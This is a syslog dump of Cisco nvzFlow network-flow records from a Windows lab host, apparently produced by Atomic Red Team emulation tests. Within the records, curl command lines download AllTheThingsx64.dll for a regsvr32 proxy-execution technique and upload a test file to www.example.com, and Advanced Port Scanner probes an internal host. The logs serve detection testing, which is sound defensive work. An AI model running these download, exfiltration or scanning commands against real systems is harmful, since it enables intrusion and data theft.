Jun 23 08:46:52 127.0.0.1 Jun 23 08:46:52 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41474" da="140.82.114.4" dp="443" fd="1" fss="1750668362" fst="Mon Jun 23 08:46:02 2025" fes="1750668363" fet="Mon Jun 23 08:46:03 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="curl.exe" ph="8B39C07EC671DAFB125BDC0E5FD4D51BC4A7D73E505C63C95F976698BBBD5699" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="7875" obc="583" ds="us-east-2.compute.internal" dh="github.com" iid="4" mnl="''" mhl="''" fsms="1750668362384" fems="1750668363436" pid="204" ppath="C:\Windows\system32\curl.exe" parg=" -k https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll -o c:\users\public\music\allthethingsx64.dll" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="321BCCF4235380ABB068F505C8A7C14C"
Jun 23 08:46:37 127.0.0.1 Jun 23 08:46:37 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41474" da="140.82.114.4" dp="443" fd="1" fss="1750668362" fst="Mon Jun 23 08:46:02 2025" fes="1750668362" fet="Mon Jun 23 08:46:02 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="curl.exe" ph="8B39C07EC671DAFB125BDC0E5FD4D51BC4A7D73E505C63C95F976698BBBD5699" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="github.com" iid="4" mnl="''" mhl="''" fsms="1750668362384" fems="1750668362384" pid="204" ppath="C:\Windows\system32\curl.exe" parg=" -k https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll -o c:\users\public\music\allthethingsx64.dll" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="321BCCF4235380ABB068F505C8A7C14C"
Jun 23 08:45:50 127.0.0.1 Jun 23 08:45:50 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41463" da="140.82.113.4" dp="443" fd="1" fss="1750668310" fst="Mon Jun 23 08:45:10 2025" fes="1750668311" fet="Mon Jun 23 08:45:11 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="curl.exe" ph="8B39C07EC671DAFB125BDC0E5FD4D51BC4A7D73E505C63C95F976698BBBD5699" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="powershell.exe" pph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ibc="7875" obc="583" ds="us-east-2.compute.internal" dh="github.com" iid="4" mnl="''" mhl="''" fsms="1750668310588" fems="1750668311289" pid="7844" ppath="C:\Windows\system32\curl.exe" parg="-k https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll -o c:\users\public\music\allthethingsx64.dll" ppid="7868" pppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="11B9E633D90C8B149320D7A3B76A697C"
Jun 23 08:45:40 127.0.0.1 Jun 23 08:45:40 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41463" da="140.82.113.4" dp="443" fd="1" fss="1750668310" fst="Mon Jun 23 08:45:10 2025" fes="1750668310" fet="Mon Jun 23 08:45:10 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="curl.exe" ph="8B39C07EC671DAFB125BDC0E5FD4D51BC4A7D73E505C63C95F976698BBBD5699" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="powershell.exe" pph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="github.com" iid="4" mnl="''" mhl="''" fsms="1750668310588" fems="1750668310588" pid="7844" ppath="C:\Windows\system32\curl.exe" parg="-k https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll -o c:\users\public\music\allthethingsx64.dll" ppid="7868" pppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="11B9E633D90C8B149320D7A3B76A697C"
Jun 23 09:06:29 127.0.0.1 Jun 23 09:06:29 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41556" da="104.123.153.33" dp="80" fd="1" fss="1750669565" fst="Mon Jun 23 09:06:05 2025" fes="1750669565" fet="Mon Jun 23 09:06:05 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="curl.exe" ph="8B39C07EC671DAFB125BDC0E5FD4D51BC4A7D73E505C63C95F976698BBBD5699" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="www.example.com" iid="4" mnl="''" mhl="''" fsms="1750669565869" fems="1750669565869" pid="5608" ppath="C:\Windows\system32\curl.exe" parg=" -T c:\temp\atomictestfile.txt www.example.com" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="599535C2A8348926A7327BFA132A748B"
Jun 23 09:06:14 127.0.0.1 Jun 23 09:06:14 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41553" da="104.123.153.33" dp="80" fd="1" fss="1750669552" fst="Mon Jun 23 09:05:52 2025" fes="1750669552" fet="Mon Jun 23 09:05:52 2025" hh="www.example.com" hm="PUT" ht="/atomictestfile.txt" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="curl.exe" ph="8B39C07EC671DAFB125BDC0E5FD4D51BC4A7D73E505C63C95F976698BBBD5699" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="541" obc="148" ds="us-east-2.compute.internal" dh="www.example.com" iid="4" mnl="''" mhl="''" fsms="1750669552361" fems="1750669552384" pid="8856" ppath="C:\Windows\system32\curl.exe" parg="  -T c:\temp\atomictestfile.txt www.example.com" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="5C68521D751D8DC78FFB9CF18922FA16"
Jun 23 09:06:04 127.0.0.1 Jun 23 09:06:04 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41553" da="104.123.153.33" dp="80" fd="1" fss="1750669552" fst="Mon Jun 23 09:05:52 2025" fes="1750669552" fet="Mon Jun 23 09:05:52 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="curl.exe" ph="8B39C07EC671DAFB125BDC0E5FD4D51BC4A7D73E505C63C95F976698BBBD5699" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="www.example.com" iid="4" mnl="''" mhl="''" fsms="1750669552361" fems="1750669552361" pid="8856" ppath="C:\Windows\system32\curl.exe" parg="  -T c:\temp\atomictestfile.txt www.example.com" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="5C68521D751D8DC78FFB9CF18922FA16"
Jun 23 15:54:08 127.0.0.1 Jun 23 15:54:08 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47339" da6="::ffff:172.16.3.10" dp="458" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951973" fems="1750693951973" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:54:08 127.0.0.1 Jun 23 15:54:08 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47338" da6="::ffff:172.16.3.10" dp="457" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951973" fems="1750693951973" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:53:58 127.0.0.1 Jun 23 15:53:58 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47337" da6="::ffff:172.16.3.10" dp="456" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951973" fems="1750693951973" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:53:43 127.0.0.1 Jun 23 15:53:43 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47336" da6="::ffff:172.16.3.10" dp="455" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951973" fems="1750693951973" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:53:28 127.0.0.1 Jun 23 15:53:28 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47332" da6="::ffff:172.16.3.10" dp="451" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951926" fems="1750693951926" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:53:12 127.0.0.1 Jun 23 15:53:12 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47331" da6="::ffff:172.16.3.10" dp="450" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951926" fems="1750693951926" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:57 127.0.0.1 Jun 23 15:52:57 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47330" da6="::ffff:172.16.3.10" dp="449" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951926" fems="1750693951926" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:42 127.0.0.1 Jun 23 15:52:42 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47329" da6="::ffff:172.16.3.10" dp="448" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951926" fems="1750693951926" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47327" da6="::ffff:172.16.3.10" dp="446" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951926" fems="1750693951926" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47326" da6="::ffff:172.16.3.10" dp="445" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951926" fems="1750693951926" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47325" da6="::ffff:172.16.3.10" dp="444" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951926" fems="1750693951926" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47324" da6="::ffff:172.16.3.10" dp="443" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951926" fems="1750693951926" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
